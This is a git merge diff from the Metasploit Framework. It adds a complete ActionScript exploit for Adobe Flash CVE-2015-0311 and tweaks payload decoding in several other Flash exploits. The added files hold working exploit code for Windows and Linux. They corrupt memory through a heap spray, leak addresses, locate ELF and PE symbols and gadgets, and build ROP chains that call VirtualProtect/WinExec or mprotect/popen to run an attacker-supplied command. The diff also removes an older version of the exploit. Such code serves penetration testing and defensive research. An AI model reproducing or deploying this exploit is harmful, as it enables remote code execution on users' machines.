Merge branch 'master' of git://github.com/rapid7/metasploit-framework

bug/bundler_fix
Samuel Huckins 2015-05-28 08:15:12 -05:00
commit 19106a3ea4
37 changed files with 1408 additions and 327 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2015-0311/msf.swf Executable file → Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -27,7 +27,10 @@ package
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {

View File

@ -32,9 +32,11 @@ package
var i:uint = 0
var j:uint = 0
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE

View File

@ -42,8 +42,11 @@ package
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
this.initialize_worker_and_ba()
if (!this.trigger())

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,84 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Exploit.as
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.system.ApplicationDomain
import flash.utils.ByteArray
import avm2.intrinsics.memory.*
import flash.external.ExternalInterface
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var platform:String
private var massage:Vector.<Object> = new Vector.<Object>(10000)
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
for (var i:uint = 0; i < massage.length / 2; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
for (i = massage.length / 2; i < massage.length; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
var test:uint = li32(0)
if (test == 0x3e0) {
si32(0xffffffff, 0) // corrupted
} else {
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
return // something failed
}
for (i = 0; i < massage.length; i++) {
if (massage[i].length == 0x3e0) {
massage[i] = null
} else {
Logger.log('[*] Exploit - corrupted vector found at ' + i)
uv = massage[i]
uv[0] = 0
}
}
if (uv.length != 0xffffffff)
return
exploiter = new Exploiter(this, platform, payload, uv)
}
}
}

View File

@ -0,0 +1,82 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3e0
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,251 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(80000)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
return
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,243 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,63 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -39,7 +39,10 @@ public class Main extends Sprite
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
@ -204,4 +207,4 @@ public class Main extends Sprite
return addr + i
}
}
}
}

View File

@ -32,8 +32,11 @@ package
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
public function Msf() {
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
ba.endian = "littleEndian"

View File

@ -43,7 +43,10 @@ package
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true

View File

@ -127,8 +127,8 @@ module Exploit::CmdStager
# Show the progress of the upload while cmd staging
#
# @param total [Float] The total number of bytes to send
# @param sent [Float] The number of bytes sent
# @param total [Float] The total number of bytes to send.
# @param sent [Float] The number of bytes sent.
# @return [void]
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
@ -308,9 +308,10 @@ module Exploit::CmdStager
def execute_cmdstager_end(opts)
end
# Code to execute each command from the. This method is designed to be
# overriden by a module using this mixin.
# Code called to execute each command via an arbitrary module-defined vector.
# This method needs to be overriden by modules using this mixin.
#
# @param cmd [String] The command to execute.
# @param opts [Hash] Hash of configuration options.
def execute_command(cmd, opts)
raise NotImplementedError

View File

@ -47,12 +47,13 @@ module Exploit::Remote::HttpClient
Rex::Proto::Http::Client::DefaultUserAgent
]),
